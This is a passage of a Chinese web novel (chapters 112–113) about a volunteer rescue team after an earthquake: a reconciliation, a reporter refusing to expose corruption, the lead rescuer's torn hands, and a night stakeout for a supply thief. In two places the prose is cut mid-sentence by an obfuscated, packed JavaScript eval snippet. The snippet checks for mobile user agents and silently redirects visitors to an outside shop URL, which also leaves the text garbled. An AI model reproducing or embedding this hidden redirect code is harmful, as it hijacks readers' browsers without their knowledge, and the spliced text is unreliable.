每个人都从他的动作里读懂了他的意思。 他的脚步声在布满尘土的水泥地上沙沙作响,搬着搬着,后面无声地缀上了一个轻盈的影子。 仓库里,他将一箱营养膏放在地上,几乎同一时间,在它身边又有一个同样的箱子,沉甸甸地落了地。 黎叙闻直起身,拍了拍手:“搬完了。” 一见她,大梁立刻局促起来:“黎、黎记者,我……” “闻闻。”黎叙闻道。 大梁一愣,继而极快速地笑了一下,然后押上百分之两百的诚恳:“闻闻对不起,我有再大的理由,也不该那样说你……” 门外有好奇的目光探进来,黎叙闻目不斜视地安静听着,表情看不出什么意思。 “要是你觉得……”大梁咽了咽,鼓起勇气似地:“要是你觉得不自在,我可以离开微光,但你别因为这件事就走,行吗?” 黎叙闻眉头微微挑起来,看着他:“可以,不过我也有条件。” 大梁像是没想到这么容易:“……什么条件?” 她上前一步,轻轻抱了大梁一下,在帐外的人看来,是个非常得体的和解动作。 靠近时她轻声道:“挑个你觉得适合的时候,再去跟白蛇聊聊吧。” …… 此时此刻,队员们已经渐渐散去的指挥帐前。 纪士诚目送空荡荡的皮卡离去,不知怎么,心也空荡荡的。 他转头看去,齐寻面色冷凝地靠坐在帐外,便过去挨着他坐下,道:“这事做得挺漂亮的,必须得感谢你。” 齐寻嗯了声,没再搭腔。 “我也得跟你道个歉。”纪士诚叹了声:“你走之前交代了,但我觉得这事不紧急,还能等,没想到弄成这样。对不起啊。” 齐寻目光失焦地抛向远方,又嗯了声。 纪士诚啧了声:“嗯什么?生气就骂,不服就打,嗯什么?” “没必要,我不需要你道歉。”齐寻慢慢地说:“但我确实不能接受我在外面拼上命带队救人,你们在这欺负我的家人。”他哽了下,说得更慢、更艰难:“我好不容易才找她回来的。” “你搞错了,”他说:“我不是非要在微光,也不是非要干救援。” 纪士诚语塞。 他在一片渐次亮起的风灯里,望着齐寻紧绷的下颌和寒潭似的眼,后知后觉,心里跟被扎了似地疼。 齐寻在微光这么些年,看着不冷不热,其实早把微光当成了家,除了闻闻,队友们就是他最信任的人。 今天这一出,不是冤枉了副队长的老婆这么简单,或许还击碎了他几年间一砖一瓦建立的归属。 对齐寻来讲,这不啻于一种背叛。 他眯着眼睛看了一阵天边涌动的层云,忽然旧事重提:“坝底山区救援是哪一年来着?” 齐寻默了默,答:“两三年了吧。” “可不,过太快了。”纪士诚点了支烟:“那时候整个小队被困在山洞里两三天,没吃没喝,最后不但自己人全须全尾回来,还把悬崖底下的人也捞上来了。” 齐寻抬头望着上飘的青蓝色烟雾,眉眼微微动了动,呼吸都轻缓了些。 他当然记得,那是他在救援里距离死亡最近的一次——救援小队攀爬途中,山区忽然下雪,整支队伍被迫暂停行动,进山洞避寒。 没有餐食、衣物不足、后方无人补给,除了等待雪停,他们没有任何办法。 “我为什么会在这呢?”有个年轻的队员已在失温边缘,瑟瑟发抖地问:“我不该躺在自己家的床上撸猫追剧吗?” 这种时候,哪怕“不值得”的念头只是一闪而过,也足以击溃整个队伍的求生和团结。 “这个问题等回去之后,面对家属感谢时,你回答你自己。”齐寻把那队员身上的铝毯又细心裹了裹:“我们不可能死在这。” “万一……” “没有万一,”齐寻打断他:“信任你的队友,我们会一起活下来,谁都不许掉队。” 纪士诚隔着烟雾看他,在夜色里,他好像还是二十三岁的样子。 “条件艰难时最容易有冲突,这是人性的弱点,没什么可开脱的,”纪士诚说:“不过我还信他们,你呢?” 草丛里喑哑的虫鸣又响,空气闷热,似在酝酿一场迟来的雨。 齐寻耳朵里灌着潮湿的嗡叫,喉头咽了咽,搭在膝头的指尖轻轻蜷缩了一下。 “也不用立刻回答,”纪士诚站起来,拍拍身上的土:“去把该安慰的人安慰好,过段日子,说不定就有答案了。” 112. 第 112 章 今晚的大本营,在潮湿的夜色下尤为喧闹。 救援队一扫之前几天的愁云惨淡,闲着的人都聚在仓库帐篷里,一边闲聊,一边围观后勤组将物资入库,热闹得像开茶话会。 “咱队里经费这么足啊,”A组有人问:“之前不还听老纪说又赤字了?” 大山摇摇头:“哪是经费,八成又是白蛇自己出的。” “啊,那……要不咱摊一下?”A组队员挠头,起身要去找人:“他人呢?” 大山笑着按住他:“你坐着吧,人家还有事要忙。” 齐寻要忙的事,自然在隔壁清静的医疗区。 这几天没什么新伤员来,绿标很多都转移去了安置点,只剩下几个骨折和内伤的,医疗组工作轻松了很多,于是闲下来的人都去隔壁看热闹了,黎叙闻婉拒了大家的邀请,一个人在帐篷里看家。 一来是她现在出现,免不了要承担那些愧疚和恭维的目光,倒像是有心去耀武扬威的。 二来嘛…… 她现在有些抗拒见到齐寻。 自然不是生气,只是她不知道齐寻听说的是什么添油加醋的版本,估计她在别人嘴里特别卑微委屈,肯定是无人撑腰、又众叛亲离的可怜样。 她不想让他知道这些,太没脸了。 但偏偏事与愿违。 隔壁细碎酣畅的嗡语声被门帘挡在外面,有些伤员已经睡了,帐内光线朦胧而安静,门口却忽而一响,帐子里的灯光泄出去一角。 外面的人却没立刻进来,像是被什么人绊住了。黎叙闻听见组长带着笑的寒暄:“要我们先回避吗?” 齐寻波澜不惊的声音响起:“可以吗?” 不知又是谁笑道:“不行也得行啊。” 就这两句的间隙,黎叙闻即刻关了灯扔下简报,轻手轻脚溜到角落,躺进了值班角那张单薄的折叠床。 ——要是齐寻看到她睡了,大概就不会进来了。 门口寒暄的声音消失后,那一角投进来的光亮在原地亮了好久,他带着迟疑的脚步声还是慢慢靠近了。 黎叙闻在暗处屏住呼吸,没忍住翻了个身,折叠床发出一声轻微的咯吱。 齐寻脚步顿了下,好像带了声笑,继而轻轻坐在她床边。 “睡了?” 黎叙闻不响。 她的呼吸淹没在熟睡病号的呓语中,但在齐寻耳朵里,是独一份的清晰。 毕竟没人会像这样,明明躺在床上,呼吸声还像刚跑了个八百米,又浅又急。 他没再出声,把指节搭在她耳侧,轻缓地摩挲。 带着粗粝感的皮肤掠过她敏感耳际,黎叙闻身体一抖,伸手握住他的指尖:“痒。” 齐寻在她背后,盯着她沉在昏暗中起伏的线条,低声说:“转过来。” “……不要。” 他把一条腿收上床,床脚又嘎吱一声:“那我上来?” “这床能承住我们两个?”黎叙闻赌气转过身:“别太离谱。” 一回过头,她就撞上了齐寻垂得很低,但满是疼惜的眼底。 她最不敢看别人这种眼神。 在眼眶彻底被烧热之前,黎叙闻猛地坐起来,抬手覆上了他的眼睛。 视线彻底隔绝,在一片浓稠的黑暗中,齐寻听见很轻、很小心的呼气声。 他都能想象她的表情:微低着头,上挑眼尾缀着点不屑,用一种满不在乎的神情看着他,好像随时会问他:谁委屈了?他们也配。 但只要把注视延长一些,就能看到她轻颤的睫毛,微红的眼眶,还有稍稍下捺的唇角。 黎叙闻从不是外人以为的那个样子,从不是眼睛能看到的样子。 所以他在她的掌心,慢慢闭上了眼睛。 睫毛扫过黎叙闻的掌心,她指尖瑟缩了下,飞快眨了眨眼,问:“从哪搞来那么多东西?” “地方政府的路子。” “他们能心甘情愿让你走?” 齐寻轻笑了声:“只要出得起价,什么路都走得通。” 当日军队来借粮后,齐寻默然地看着空了一半的后勤仓库,自己琢磨出了这么个办法。 他早感觉到地方政府没什么原则,但没原则的好处就是他们不认人,只认钱。 于是他私下联系地方政府,以十五倍于市价的价格,搞来了这么一车物资。不要说他们救援队,就算军队再来借一次粮,都绝对够吃够用了。 黎叙闻默了默,道:“你早知道今天物资要来,何必还跟大梁起冲突。” “那怎么办,”齐寻用睫毛轻搔她手心:“难道由得他混账?” “不是,我只是……” 话说一半,有熟睡的患者在梦里欸乃了声,翻了个身,把她后半句压在了半空中。 她没往下说,捂住他眼睛的手慢慢垂下来。 帐外粗糙的防水布上响起沙沙的敲打声,酿了一夜的雨,终于不堪重负落了下来。 “我知道微光对你很重要,”她放轻声音,怕再惊扰谁似的:“总不能因为我……” “人心本来就复杂,争执隔阂都在所难免。”齐寻仍闭着眼,穿过簌簌的细雨声,听着她尾音里沉沉的自责:“要是连身边的人都保护不了,那我还做什么救援?” 黎叙闻望着他眉心的波澜,问:“你真的不难过吗?” 她听见齐寻深深吸了一次,肩线有瞬间凝固,然后答:“嗯,不难过。” 撒谎,她想。 “齐寻,睁眼。” 齐寻听话地睁开眼,看见她把口袋翻出来,抖落了一床折得方正的小纸条。 黎叙闻打开手电:“都是他们写给我的,你看。” 雪亮灯光照破这一隅昏暗,字条上挤挤挨挨的字,像小蚂蚁一样被拢在灯下。 纸都糙得很,边缘撕得歪歪扭扭,一看就是从简报本上扯下来的,笔迹也深浅不一,不知是趴在什么上面做的鬼画符。 “这字像狗爬的,”黎叙闻指着其中一张,笑道:“应该是小平。” 齐寻低头去看,简直能想到那人结巴的样子。 “还有这个,”她又打开一张:“说要帮我揍大梁呢,你说他敢吗?” “敢个屁,”齐寻笑了声:“怕是气都不敢大声喘。” 这里面每个人他都熟识,关系有远有近,但都是在现场肝胆相照的队友。 就因为是这样,他才尤其难过。 “大梁也跟我道歉了,”黎叙闻又道:“我看他很诚恳。” 齐寻眉眼动了动,继而转开视线,没做声。 隔壁翻物资翻得正高兴,不时溢出几声关不住的笑语,隔着簌簌雨声闯进来,磨了砂似的不真切。 他默默听了一阵子雨,手指无意识蹭着她的手背,低声道:“受了这么大委屈,还查吗?” 黎叙闻反问:“都受了这么大委屈了,难道现在放弃吗?” 齐寻看着她,无声地笑了。 这回答,真是太黎叙闻了。 闻闻默了片刻,又想起今天查理逃跑之前看她的那个眼神,简直像在看什么不可名状的上古邪神。 她苦笑道:“现在不是我还查不查的问题,我能做的已经都做了。” 她扣住他的手指,慢慢收紧:“现在的骰子,在查理手里。” 是成是败,就看他的决定。 她赌他一定撑不过明天。 …… 黎叙闻看人从不走眼,果然第二天没过晌午,查理就顶着浓重的黑眼圈,鬼鬼祟祟地躲在医疗区门口,在帐子前探头探脑。 这场雨从昨晚一直下到现在,雨点不大,落得不急,只是一直细细密密地没断过。 查理也不打伞,头发被丝丝细雨贴在头上,反穿的GVN文化衫都深了一个色号,他浑然不觉似地,面目严肃到肃穆,直勾勾地盯着帐子里出来的人。 A组值了夜班刚回来,小平领了盒膏药,正好从里面出来,看见门口杵着这么个门神,咽了咽,迎上去:“有什么能帮你?来找黎记者吗?” 查理整个人惊得一跳,连连摆手:“不不不,没有没有,我跟她没有关系,我只是……” 小平抿了抿嘴,鼓起勇气道:“昨天是我们不对,不该那样说你,请你原谅。” 查理一愣:“啊,嗯……没、没关系。那你能不能帮我转告……” 他话都没说完,小平便冲着里面喊:“闻姐,那个外国记者找你!” 查理:“……” No!!!!!!! 他绝对不能再跟这个女人正面硬刚,他不会有胜算的,到时候一定是推脱不掉,又莫名其妙答应她的要求! 这女的简直就是海妖塞壬! 他本来想好了,到救援队随便找个人转告她,说他实在接受不了这个要求,然后立刻拔营走人,等她忙完找来,他早跑了。 结果…… 黎叙闻已经微笑着站在他面前了。 她没有半点悬而未决的紧张,好像已经得到了他确切的承诺似的,转身冲他勾手:“还去指挥帐,走吧。” 查理皱着眉头盯着她半天,五脏六腑的抗拒简直要从七窍溢出来,脚下却还是乖乖地跟了上去。 队长不在,指挥帐内空无一人,像一只腾空了肚子的怪兽似的,只等着他一脚踏进去,啪嗒,合上蓄谋已久的大口。 黎叙闻径直走到桌前,轻车熟路坐下:“坐啊。” 查理面色肃然地摇头:“不了,我说两句话就走。” “嗯,”黎叙闻做了个“请”的手势:“你说。” 查理还是目不转睛盯着她,几次开口,又几次咽了回去。 不太妙,这情况不太妙。 他来之前练得滚瓜烂熟的词,怎么到了这,看着她,一个字都说不出来了? 他清清嗓子,道:“我先问你几个问题。” 不等她点头,查理抢白似地问:“光是Ironpeak,做不到这个程度。你早就猜到他们跟地方政府有勾连,对吧?” 黎叙闻抬着眉,理所当然地颔首:“当然,贪腐我不敢说,但这两者之间,一定有盘根错节的关系。Ironpeak也不是初犯了,如果不这样,当初灾民的集体诉讼,不至于连证据都找不到。” 查理腮帮一阵紧,咬牙切齿道:“你知道不会有证据,还把我往火坑里推?” 这一问堪称振聋发聩,黎叙闻轻轻点着桌面的指尖停了一瞬。 “是啊,”她毫无愧色:“一马平川的新闻有什么意思?那能让你功成名就吗?” 她竟然还敢提功成名就! 查理握紧拳头深深吸气,又道:“你说过你也是记者,既然这线索这么有价值,你为什么不自己报?” 黎叙闻眸子里含着笑意,半扬着精巧的下巴,定定地望着他。 他一看这眼神就害怕,总感觉又被算计了,长叹一声,道:“黎,你能不能跟我说实话?” “我从来没骗过你,”黎叙闻说:“我是记者没错,但我只是国内一家纸媒的记者,影响力和时效性都远比不上GVN;再者,我身为救援队的志愿者,不能在这种时候离开我的队伍,这是忠诚;最后……” 她笑了笑:“我觉得,你应该是比我更合适的人选。” 查理在自己如擂鼓的心跳里,慢慢睁大了眼睛。 “你在乎你遇到过的每一个人。”黎叙闻道:“你会对误解过的人愧疚,会包容搭档的臭脾气,会冒着风险,对一群根本不认识的人担保,你的朋友是个好人。所以我有理由相信,那些因为没有挖掘机而救不出的人,你一样会痛心。” 她声音竟也能这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273636|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温柔:“记不记得教《新闻写作基础》的那个老头子,他一直跟我们强调什么?” 查理几乎没思考,脱口而出:“新闻不是讲事件本身,而是讲‘人的命运、人的情感、人的选择’。” 说完连他自己都愣住了。 在溢进帐篷的熹微的光里,黎叙闻间不容瞬地注视他:“你能做到,查理,因为你原本就是这样的人。” 查理一眨不眨地盯住她的眼睛。 那里面好像有一团火,一团比他自己更相信他的火,在慢慢烧热他的血液。 他僵硬的心久违地悸动起来,在很深很深的地方,像是被谁轻轻推了一把。 那句话他已经很久没有想起来了,他还以为自己已经忘了。 可刚刚脱口而出的瞬间,他才想起来,做一个能改变世界的记者,原本就是他从小的梦想。 而不是像现在这样,日复一日地,慢慢烂在一个整个新闻界都避之不及的地方。 但…… 正因为是这样,他才要分外、分外地珍惜这个梦想。 “黎,谢谢你。如你所说,我毕生的梦想就是要做一个好记者,”查理长舒一口气,表情却并不轻松:“可没有证据、随意臆测,只要被人发现,我下半辈子都得呆在非洲拍动物迁徙了。所以抱歉,这件事,我还是不能做。” 他说出这句话的时候,感觉世界寂静。 那个可怕的女人并没有因为他的拒绝而暴怒,只是微微扬着眉头,静静地望着他。 指挥帐里除了他们低沉的呼吸,再无其他声响。 查理感觉自己的心烂了一块,呼呼地往外冒血,但他已经做了选择,也只能转身离开。 刚迈出两步,他又回头,问:“现在你打算怎么办?” 黎叙闻没抬眼看他:“不怎么办,因为你是我最后一张底牌了。” 查理向前的脚步,鬼使神差地拐了个弯:“……我不信。” “我不得不承认自己的无能。”她低垂着眼:“回去吧,查理,我们都把良心埋在这里,以后的日子,祝你无往不利。” 尾音消散后的静默,无限地放大了外面沙沙的雨声。 查理呼吸屏了两秒,最后点点头:“再见,黎。” 他尚未转身,指挥帐外忽然传来一阵嘈杂急切的脚步声。 下一秒,门帘骤然被掀开,外面大亮的天光海啸似地涌进来,刺得查理眯起眼,抬手挡光。 齐寻带着几个人,从门外呼啦啦涌进来。 在看见黎叙闻的那一秒,所有人都看见他的肩膀塌了一瞬,像一张失去了张力的弓。 他径直走向她,她刚一站起,便被他俯身抱住,身上淋过雨的潮湿还带着泥土味,和一点淡淡的血腥气。 他双臂箍得极紧,身体却在筛糠似地颤抖,一声喑哑得可怖的声音,猛地砸在她耳边:“底下有人,我听见了,底下有人!” 黎叙闻反应了两秒,在意识到发生了什么的瞬间,耳边的血液轰地一声,直直冲向大脑。 她脸上的血色在几秒内褪了个干净,慌乱地解开他的手臂,去摸他的手指,还没送到眼前,指间的黏腻就已经警告了她。 ……那双手血肉模糊,没有一根指头是完好的,指甲都崩掉了两个,血和土混在一起,糊成了一团。 黎叙闻的心一下子就碎了。 哭泣成了一件最无用、最多余的事,可她还是怔然地落下泪来。 “鲜血淋漓”这个词,她曾经在报道里写过很多次,却从来没意识到,这些字也会落在齐寻的身上。 眼泪滴在他沾着土的指骨上,她捧着这双手,手足无措,不知道应该先处理手上的伤口,还是先按住他心里被撕开的大洞。 齐寻再挺不直腰背,眼底血红,嘴唇惨白地抖着,神色空洞,但一直盯着她:“我听见了,我真的听见了……” 就好像挖不出下面的人,那么被压在地底的人,就变成了他自己。 “我们不救了……”黎叙闻哭得语无伦次:“我们回家吧齐寻……” 指挥帐里细微压抑的呼吸,跟着她的哭腔一起响起了。 门口帘子又是一揭,林青淮快步进来:“齐寻!” 却被小熊拦在了门口。 林青淮抬眼看见满脸泪痕的黎叙闻,手指蜷缩了一下,握成了拳,却站在原地,没再往前。 查理看得一愣一愣的,低声问小熊:“发生了什么?” 小熊摸了把脸,脏污盖住了他通红的眼眶:“我们今天找到一处有幸存者痕迹的废墟,他听见里面有活人……他听见了!” “可是我们挖不出来……”他伸出十指,竟也是没有一块好肉:“我们离开的时候,那下面已经、已经没有声音了。” 查理心脏漏了一拍,四肢百骸的血液瞬间涌进心脏,将他冲刷得四肢冰凉。 他抬头盯着齐寻触目惊心的手,看着黎叙闻那张永远笃定的脸上的痛苦,耳边响起其他队员间或漏出的抽泣,整副精神都恍惚着被抽离了。 年轻的记者,职业生涯才刚刚开始,还没有机会面对真正的灾难,“救灾”这件事对他来说,尚且带着一些浪漫的英雄主义。 没人告诉他,真实的世界是这样的。 他怔愣着看了半天,喃喃地说:“Fuck.” 他闭上眼睛,呼吸都在战栗:“Fuck,Fuck,Fuck……” 有一线极其荒谬、极其杳茫的想法,从他脑海深处升起,然后直直兜头砸向了他—— 如果今天他不做记者,那么他这辈子,都不会成为一个记者了。 然而…… 然而。 离开之前,他回头深深望了一眼,正对上黎叙闻空濛的眼神。 而他什么也没说,掀开帘子,走进了越下越大的雨幕里。 113. 第 113 章 齐寻从混沌和崩散的梦境中挣脱出来时,外面已经入了夜。 这针镇静药效极强,让他睡得浑浑噩噩,梦里又听见十年前那声求救,而他手里一直握着一根线,这才跌跌撞撞从里面爬出来。 睁眼却不见那根线的归属,只有一个讨人嫌的男人,翻着手里的纸,坐在他床边。 ……晦气。 齐寻又闭上眼,想把林青淮熬走,却听见他说:“你手腕上有睡眠监控。” 齐寻:“……” 他抬起手看,果然见腕上绑着个小仪器。 十指都已经被细致地包扎处理过,用的都是闻闻惯用的结。 他心下稍安,想挣扎着起来,可稍一牵动,十指就跟断了似地钻心地疼。 疼的当然不止手指——从进来震区起的每一场救援,都在将他的体力和精神缓消慢融,所有疲劳和损伤都在今天,跟着他的理智一起猝尔爆发、崩塌,连喘息的空间都没留给他。 它们一拥而上,让从来善于忍耐的齐寻都闷哼了一声。 “躺着吧,”林青淮道:“医疗组长也来看过了,说你这透支程度,起码要躺三天。” 躺三天,那还不如直接回国。 齐寻嗤了声,挡开林青淮要扶的手,勉力坐起来:“多谢。” “叙闻刚才一直在,”林青淮道:“是我看药效马上过了,把她劝走的。” “嗯,我听得见。” 他听得见她为他包扎时候的抽泣和鼻音,守在他身边的呼吸声,还有她伏在床前,摸着他的头发,轻声的温软慰语。 她一定吓坏了。 齐寻掀开被子要下床,肩膀却被林青淮按住:“你没明白我的意思。” 他看起来温文,手掌却极有力量:“我为什么让她先走,你没想过吗?” 齐寻停下动作,目光警惕地看他:“你想说什么?” 林青淮那双无情得近乎无机质的眼睛,借着帐中无处不在的雪亮灯光,静静地看着他。 或者说,逼视他。 “她的精神状态,比你想象得还要脆弱。”半晌,他慢慢放开手:“现在对她来说,问题已经不在于震区。” 他推了推眼镜,下了诊断:“而在于你。” 齐寻眉心猛地一挑。 不是因为惊讶,而是因为这句话早就在刚刚的梦里扎了根。 梦里她还在他面前无望地哭泣,所以这句话比他的意识更先清醒。 他按下这些不安,冷笑了声:“那你的意思我该怎样?放弃她?” 林青淮盯着他:“你不该吗?” “你休息时她简单跟我讲了你的前史,”他敲了敲手里的垫板,上面简单写了几行:“可就我的观察,你的反应远远超过我所掌握的信息。” 齐寻无声地咽了咽,垂视他的笔记。 大概是为了救他,闻闻把她所了解的一切,都告诉了林青淮。 “你是不是还有事瞒着她?”林青淮问。 齐寻放在身侧的手骤然握住床沿。 他侧脸崩得极紧,线条在灯光中锋利如刀。 “无论你相不相信,其实我对你本人并无微词。”林青淮说:“我只是本着专业的态度,想保证她的幸福和安全。”停了停,他又说:“因为那些残留的阴影,她吃了许多苦头。” 齐寻霍然抬头:“她怎么了?” “我不能告诉你,”林青淮摇摇头:“我只能说,你们俩的阻力,比你想象得还要大得多。” 他把垫板放到一边,语气称得上温柔:“相似的创伤会彼此吸引,但仍改变不了不合适的事实。她值得一个更平静的人生,你也是。” 齐寻面色淡淡地听完,在耳边交错的声音和昏沉神思中笑了一声。 “我跟她不合适,那谁合适?”他侧着脸睨他:“你吗?” 林青淮像是没预料到他这么明确的敌意,停了一瞬,语气冷淡:“难道不是?” “还做梦呢,”齐寻哂笑:“你跟她认识在先,知道她很多过往和秘密,所以在她需要婚姻的时候,为什么没选你?” 林青淮慢慢蹙起眉:“需要婚姻是什么意思?” “你不需要知道,”齐寻说:“你只要明白一点:如果你们有可能,那我根本没机会接近她,明白吗?” 林青淮唇角收得平直,默了默,才说:“一个节点,并不能说明任何事,她的平安才重要。” “嗯,这就是我们的不同。”齐寻靠在篷布上,道:“你口口声声是为了她,可我跟她在一起,是因为我没她不行。” “不管什么原因,我都不可能放弃黎叙闻。”齐寻说:“让给你,就更加不可能。” 林青淮抵着床边的小腿,渐渐漫上金属的冰凉。 他拿过笔记,点头道:“看来你没大碍了,休息吧,别让她担心。” 折叠椅在地上搓出一声刺耳声响,林青淮站起身来,却没立刻走,反而自上而下看着他。 外人都说林老师温和得春风化雨,大概谁都没见过他这种冷淡得近乎厌恶的神情。 他静默了一阵,道:“那个人可以不是我,但一定不能是你。” 这句说完,他才终于理了理衣角皱褶,缓步离开了。 …… 这场莫名其妙的交锋又把齐寻拖入了沉沉的昏睡中,再醒来,帐篷里的灯已经全部熄了。 身上的酸疼总算减轻了些,他稍微一动,床边立刻有人探过身,手掌覆上他额头:“感觉怎么样了?” 齐寻鼻息中带出笑意:“好得很。”他把前额的手摘下来,攥进掌心:“你呢?” 黎叙闻松了口气,才说:“我有什么。” 他掌心的手指又潮又凉,好像刚握过什么湿淋淋的东西。 这种触感他认得——当时黎叙闻目睹琳琳刺伤自己的父亲,陷入了长达好几个小时的解离,那时候她的手,就是这样潮凉。 微薄的光亮从塑料窗户中投进来,被她挡在身后,表情昏暗得看不真切,可齐寻听得出来,她此时此刻,根本不平静。 是因为担心他么,还是受了惊吓,仍没恢复好? 黎叙闻见他不说话,又靠近了些,压低声音:“哪里疼吗?饿不饿?” 她声音很疲惫,像是熬了一整天:“你不要动,要吃东西要喝水,我都喂你。” “闻闻,”齐寻忽然说:“你怕不怕?” 黎叙闻迟疑了一下,笑着说:“怕什么?” 齐寻凝视着她,没回答。 “怕我”两个字卡在齿间,他怎么都问不出口。 黎叙闻坐在他身边,担着一肩的月光,静静地望着他:“我只是怕你受伤了还瞒我。” “不会,”齐寻拇指轻轻蹭她手背:“今天我不是一回来就去找你了?” 实际上那时候他已是强弩之末,绷着最后的理智清醒,想,找到她,找到她一切就都好了。 可让他无比后悔的,同样是那一刻。 ……不应该去找她,不应该让她看到那么鲜血淋漓的场面,不该告诉她下面有人没救出来。 现在他又无能、又软弱,竟还好意思让她看见、替他背负。 所以林青淮才会找来,跟他说那些话,迫不及待让他让位。 齐寻无声地叹息,身体稍稍往床的侧边挪了挪,用手背拍拍身前的空隙:“睡一下。” “这床……” “这床是我采购的,能承住150公斤。” 黎叙闻真的算了一下,问:“你有一百公斤吗?” 齐寻失笑:“上来。” 黎叙闻看了看周围,轻手轻脚地挪上床,把自己严丝合缝地团进他留出的空隙里。 齐寻的手臂搭在她腰间,她又往后靠了靠,让自己脊背紧贴上他胸膛,腰间的手臂就懂了,用了些力气,把她圈在怀里。 这具血脉涌动、线条贲张的身体,在她眼里,就是安全的代名词。 他会用自己温韧结实的肌肉将她完全包裹,把一切危险都挡在外面。 她吊了一整天的心,终于在这个怀抱里,沉甸甸地落了下来。 紧绷的身体稍一放松,疲惫和困意立刻像湖水一样将她没顶。 但她还惦记着有事没交代。 “齐寻?” “嗯,在这。” “要不然你明天就回家吧,”黎叙闻困得声音都黏了,软软地糊成一团:“你的那份我帮你救,行不行?” 齐寻听得满腔酸软,探头亲她耳后的小蛇:“说什么傻话?” 黎叙闻闭着眼睛,眼看意识就要落入黑沉,还不放手:“我会救人,他们会教我的……” 她尾音黏糊糊地散在空气里:“你不要难过,我们马上……马上就有挖掘机了……” 齐寻紧紧将她搂在怀里,在这张单薄的折叠床上,他久违地感受到了活下去的执念。 ——他绝对、绝对不能放弃她。 一开始这念头只是她呓语点燃的一小簇火苗,但它一直在他心里持续不断地灼烧,烧得齐寻血流加速、浑身发疼。 身前的人已经睡熟了,身体的起伏是他熟悉的曲线节奏,一下一下推着他的心脏。 齐寻轻轻把手臂拿开,前心依然稳稳相贴,生怕动作大了把她惊醒。 在确保她睡得香甜后,他慢慢给她盖上被子,亲亲她发顶,动作小心地下了床。 还有一件事,他还没有料理。 偷营养膏的真凶他必须抓到,才能让她安心地呆在微光。 …… 齐寻出了医疗区,借着被雨水洗亮的月光,一个人绕到了后勤组的帐篷后方。 昨天物资搬来,晚上他留了心,并没发现什么动静。 对方可能顾及大家的注意力全在那些物资上面,不好动手,或者说干脆就是没得到消息。 偷窃的人,很可能根本就不在救援队里。 经过一个白天的发酵,消息应该传得够远了,他听说已经有流离失所的幸存者过来讨要吃的。 该知道的人都知道了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282085|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以该动手的,也可以动手了。 这时候已经接近三点,在大本营的人基本都睡了,值夜勤的也早已离开,本该是沉寂宁静的半夜。 可他藏身的对面,有一点细碎的声响,在浓稠夜色中极为明显。 ——来了! 齐寻放轻脚步,无声无息地靠近对面。 月色在一片亮白的地上,描摹出一个黢黑交叠的影子,在前方不安地晃动着。 他活动了一下肩膀,往后退了两步,打算对方一有动作就立刻跟上,今天一定要抓个人赃并获。 可那影子静了一阵,半张脸忽然从那头探了出来。 对面竟然是大梁。 齐寻:“……” 大梁也惊了,悄声道:“白蛇?你咋在这?休息好了?” 他侧身又探出两个脑袋来,都是他们A组的,看见他蓄势待发的姿势,都一副摸不着头脑的样子。 齐寻好气又好笑,过去问:“干嘛呢你们?” “抓贼,”大梁挠挠头:“想着抓到了人,闻闻就能心安了。你呢?” 齐寻笑了一声:“想到一块去了。” 大梁低头看了眼:“你这手……” 话音没落,帐篷门口忽然响起一阵类似衣物摩擦的声响。 “嘘,”他摆了下手:“有人。” 其余人瞬间屏息噤声,四双眼睛同时盯向前方。 下一刻,一个穿着制服的瘦小背影从门口慢悠悠跨了出来。 她手里还握着卫星电话,往四周谨慎地看了一圈,便借着夜色,几步消失在了众人的视线中。 是应该今天值夜班的阿咩。 大梁啧了声,抬脚要走,想上去拦住她,却被齐寻挡住。 “不急,”他低声说:“再看看。” 紧接着,帐篷的另一侧,又响起一阵轻而又轻的脚步声,踩着地上的尘土,沙沙作响。 齐寻冲着身后一招手:“这回是了。” 四个人猫着腰,借着一阵风带来的树叶摆动声,潜向那个罪魁祸首的背侧。 对面显然也听到了动静,却竟然没跑,而是向着他们的方向来了。 齐寻谨慎地停下脚步。 不对…… 这衣服的料子……怎么听起来跟他们身上穿的一样? 他拦住身后的人,然后眼睁睁地,看着医疗组长从阴影中走出来。 齐寻:“……” 今晚是不是所有微光的人都埋伏在这座帐篷周围? 医疗组队也诧异:“哎?你们……” 齐寻面无表情:“跟你一样。” 月黑风高夜,这三波五个人迎着嗖嗖的冷风,同时在对方眼里读到了无语。 “能行吗你说?”医疗组长压低了声音:“万一人家害怕,再不来了……” 齐寻盯着暗处:“不会。” 如果真的会害怕,对方从一开始就会来协商、恳求,而不是直接下手偷。 “那边……”大梁眯着眼:“那、那是个人吗?” 齐寻转头定睛一瞧,见一个穿黑色长袍的人,正猫着腰,借操场周围茂盛草木的遮掩,悄悄靠近后勤组的营帐。 众人立刻隐入暗处,肃着脸紧张起来。 “要抓现行,”齐寻说:“等他真的拿了东西,我们再追。” 大家屏住呼吸,十只眼睛一瞬不瞬,看着那人极为小心地摸进了仓库帐篷。 在他们站立地方的内侧,响起一阵窸窣的、翻东西的声音。 医疗组长跟大梁对了个眼色:还挑呢。 这人肯定有类似经验,不然不会那么精准,从一堆物资中偏偏拿走了最贵最难得的营养膏。 不一会儿,翻动的声音停下,那人弯着腰,看姿势是把东西抱在怀里,静悄悄地从帐子里出来了。 齐寻对剩下人一点头:追! 